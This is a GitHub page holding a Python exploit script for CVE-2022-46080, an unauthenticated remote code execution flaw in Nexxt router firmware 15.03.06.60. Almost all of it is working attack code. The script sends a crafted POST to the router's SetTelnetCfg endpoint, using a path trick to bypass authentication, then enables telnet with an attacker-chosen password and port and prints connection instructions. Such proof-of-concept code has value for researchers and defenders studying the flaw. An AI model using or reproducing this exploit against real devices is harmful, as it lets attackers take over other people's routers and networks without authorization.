-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCVE-2022-46080.py
38 lines (31 loc) · 1.09 KB
/
CVE-2022-46080.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Exploit Title: Nexxt Router Firmware 15.03.06.60 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 24/11/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 15.03.06.60
# Tested on: Nexxt Nebula 1200-AC
# CVE : CVE-2022-46080
import requests
import sys
router_host = "http://192.168.0.1"
pw = "password"
port = "25"
def main():
if '-h' in sys.argv or '--help' in sys.argv:
print(f"Usage: {sys.argv[0]} HOST_URL PORT PASSWORD_TO_SET")
exit(0)
if len(sys.argv) > 3:
router_host = sys.argv[1]
pw = sys.argv[3]
port = sys.argv[2]
if send_payload(router_host, port, pw):
print(f"connect to router using: `telnet {router_host.split('//')[1]} {port}` with password: {pw}")
else:
print("An error occurred :(")
def send_payload(h, p, pw):
url = h+"/goform/SetTelnetCfg?reasy-ui-1.0.3.js"
if 'errCode":0' in requests.post(url, data={"telnetEn":1, "telnetPwd":str(pw), "telnetPort":str(p)}).content.decode():
return True
return False
if __name__ == '__main__':
main()